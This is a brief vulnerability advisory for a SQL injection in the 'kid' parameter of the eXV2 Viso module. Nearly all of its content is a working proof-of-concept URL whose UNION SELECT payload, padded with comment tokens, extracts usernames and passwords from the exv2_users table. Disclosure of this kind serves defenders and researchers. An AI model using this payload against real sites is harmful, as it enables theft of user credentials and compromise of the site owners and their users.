|
eXV2 Viso Module 'kid' Parameter SQL Injection Vulnerability
Attackers may launch attacks through a browser. The following proof of concept is available: http://www.example.com/modules/viso/index.php?kid=-9999999/**/union/**/select/**/0,0x3a,uname,0x3a,0x3a,0x3a,pass/**/from/**/exv2_users/*where%20exv2_admin%201 |
|
|
Privacy Statement |
